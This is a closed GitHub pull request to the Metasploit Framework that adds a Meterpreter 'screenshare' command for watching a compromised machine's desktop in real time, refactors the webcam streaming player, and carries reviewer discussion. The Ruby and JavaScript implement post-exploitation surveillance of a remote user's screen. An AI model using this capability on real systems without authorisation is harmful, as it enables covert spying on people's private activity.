Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Refactored webcam_stream and added live desktop screensharing/remote monitoring (OSX meterpreter) #9196

Closed
wants to merge 2 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
164 changes: 163 additions & 1 deletion lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,7 @@ def commands
"keyscan_start" => "Start capturing keystrokes",
"keyscan_stop" => "Stop capturing keystrokes",
"screenshot" => "Grab a screenshot of the interactive desktop",
"screenshare" => "Watch the remote user's desktop in real time",
"setdesktop" => "Change the meterpreters current desktop",
"uictl" => "Control some of the user interface components"
# not working yet
Expand All @@ -43,6 +44,7 @@ def commands
"keyscan_start" => [ "stdapi_ui_start_keyscan" ],
"keyscan_stop" => [ "stdapi_ui_stop_keyscan" ],
"screenshot" => [ "stdapi_ui_desktop_screenshot" ],
"screenshare" => [ "stdapi_ui_desktop_screenshot" ],
"setdesktop" => [ "stdapi_ui_desktop_set" ],
"uictl" => [
"stdapi_ui_enable_mouse",
Expand Down Expand Up @@ -167,6 +169,166 @@ def cmd_screenshot( *args )
return true
end

#
# Screenshare the current interactive desktop.
#
def cmd_screenshare( *args )
stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg"
player_path = Rex::Text.rand_text_alpha(8) + ".html"
quality = 50
view = false
duration = 1800

screenshare_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help Banner." ],
"-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ],
# "-p" => [ true, "The JPEG image path (Default: '#{path}')" ],
"-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ],
"-d" => [ true, "The stream duration in seconds (Default: 1800)" ] # 30 min
)

screenshare_opts.parse( args ) { | opt, idx, val |
case opt
when "-h"
print_line( "Usage: screenshare [options]\n" )
print_line( "View the current interactive desktop in real time." )
print_line( screenshare_opts.usage )
return
when "-q"
quality = val.to_i
when "-p"
path = val
when "-v"
view = true if ( val =~ /^(t|y|1)/i )
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@timwr - line 202 here should changed to "view = false if ( val =~ /^(f|n|0|no|false)/i )".

when "-d"
duration = val.to_i
end
}

print_status("Preparing player...")

html = %|<html>
<head>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE, NO-STORE">
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There seems to be some code duplication between this and webcam_stream, would it make sense to share the code between them?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It probably would, DRY :)

<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE, NO-STORE">
<title>Metasploit screenshare stream - #{client.sock.peerhost}</title>
<script language="javascript">
function updateStatus(msg) {
var status = document.getElementById("status");
status.innerText = msg;
}


function noImage() {
document.getElementById("streamer").style = "display:none";
updateStatus("Waiting");
}

var i = 0;
var imgurl;
var imgElement;
var didload = 1;
function updateFrame() {
didload = 0;
imgurl = "#{stream_path}?" + i;
getImage(imgurl, i).then(
function(e){
didload = 1;
newImg = e.img;
index = e.index;
var theWrap = document.getElementById("vid_cont");
ni = theWrap.appendChild(newImg);
//console.log('added img_'+index);
ni.id = "img_"+index;
purge = document.querySelector("img:not(#img_"+index+")")
if (typeof(purge) != 'undefined' && purge != null){
purge.remove();
}
updateStatus("Playing");

},
function(errorurl, index){
//console.log('Error loading ' + errorurl)
updateStatus("Waiting");
didload = 1;
}
);
}

function getImage(url, index){
return new Promise(function(resolve, reject){
img = new Image();
img.onload = function(){
var e = new Object();
e.img = img;
e.index = index;
resolve(e);
}
img.onerror = function(){
reject(index);
}
img.src = url;
})
}

setInterval(function() {
if(didload){
updateFrame();
i++;
}else{
//console.log('skipping');
}
},42);

</script>
</head>
<body>
<noscript>
<h2><font color="red">Error: You need Javascript enabled to watch the stream.</font></h2>
</noscript>
<pre>
Target IP : #{client.sock.peerhost}
Start time : #{Time.now}
Status : <span id="status"></span>
</pre>
<br>
<div id="vid_cont">

</div>
<br><br>
</body>
</html>
|

::File.open(player_path, 'wb') do |f|
f.write(html)
end

print_status("Please open the player manually with a browser: #{player_path}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

what about if view?

Copy link
Contributor Author

@jaketblank jaketblank Nov 13, 2017

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The method should create the HTML player regardless of whether view is true or not. My understanding of the -v flag was that it was a conditional to auto-launch the viewer or not. Without the HTML file generates, there really is no way to view the stream (webcam or desktop) and the method becomes useless in it's current configuration.

Regardless, you are correct - there should be a conditional for that print_status line, it should work the same way as in the webcam_stream method

print_status("Streaming...")
begin
::Timeout.timeout(duration) do
while client do
data = client.ui.screenshot( quality )

if data
::File.open(stream_path, 'wb') do |f|
f.write(data)
end
data = nil
end
end
end
rescue ::Timeout::Error
ensure

end

print_status("Stopped")

return true
end

#
# Enumerate desktops
#
Expand All @@ -178,7 +340,7 @@ def cmd_enumdesktops(*args)
desktopstable = Rex::Text::Table.new(
'Header' => "Desktops",
'Indent' => 4,
'Columns' => [ "Session",
'Columns' => [ "Session",
"Station",
"Name"
]
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -161,7 +161,7 @@ def cmd_webcam_stream(*args)
player_path = Rex::Text.rand_text_alpha(8) + ".html"
duration = 1800
quality = 50
view = true
view = false
Copy link
Contributor

@timwr timwr Nov 13, 2017

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this breaks webcam_stream -v true

index = 1

webcam_snap_opts = Rex::Parser::Arguments.new(
Expand Down Expand Up @@ -199,32 +199,76 @@ def cmd_webcam_stream(*args)
print_status("Preparing player...")
html = %|<html>
<head>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE, NO-STORE">
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE, NO-STORE">
<title>Metasploit webcam_stream - #{client.sock.peerhost}</title>
<script language="javascript">
function updateStatus(msg) {
var status = document.getElementById("status");
status.innerText = msg;
}


function noImage() {
document.getElementById("streamer").style = "display:none";
updateStatus("Waiting");
}

var i = 0;
var imgurl;
var imgElement;
var didload = 1;
function updateFrame() {
var img = document.getElementById("streamer");
img.src = "#{stream_path}#" + i;
img.style = "display:";
updateStatus("Playing");
i++;
didload = 0;
imgurl = "#{stream_path}?" + i;
getImage(imgurl, i).then(
function(e){
didload = 1;
newImg = e.img;
index = e.index;
var theWrap = document.getElementById("vid_cont");
ni = theWrap.appendChild(newImg);
console.log('added img_'+index);
ni.id = "img_"+index;
purge = document.querySelector("img:not(#img_"+index+")")
if (typeof(purge) != 'undefined' && purge != null){
purge.remove();
}
updateStatus("Playing");

},
function(errorurl, index){
console.log('Error loading ' + errorurl)
updateStatus("Waiting");
didload = 1;
}
);
}

function getImage(url, index){
return new Promise(function(resolve, reject){
img = new Image();
img.onload = function(){
var e = new Object();
e.img = img;
e.index = index;
resolve(e);
}
img.onerror = function(){
reject(index);
}
img.src = url;
})
}

setInterval(function() {
updateFrame();
},25);
if(didload){
updateFrame();
i++;
}else{
console.log('skipping');
}
},42);

</script>
</head>
Expand All @@ -238,9 +282,10 @@ def cmd_webcam_stream(*args)
Status : <span id="status"></span>
</pre>
<br>
<img onerror="noImage()" id="streamer">
<div id="vid_cont">

</div>
<br><br>
<a href="http://www.metasploit.com" target="_blank">www.metasploit.com</a>
</body>
</html>
|
Expand Down Expand Up @@ -324,4 +369,4 @@ def cmd_record_mic(*args)
end
end
end
end
end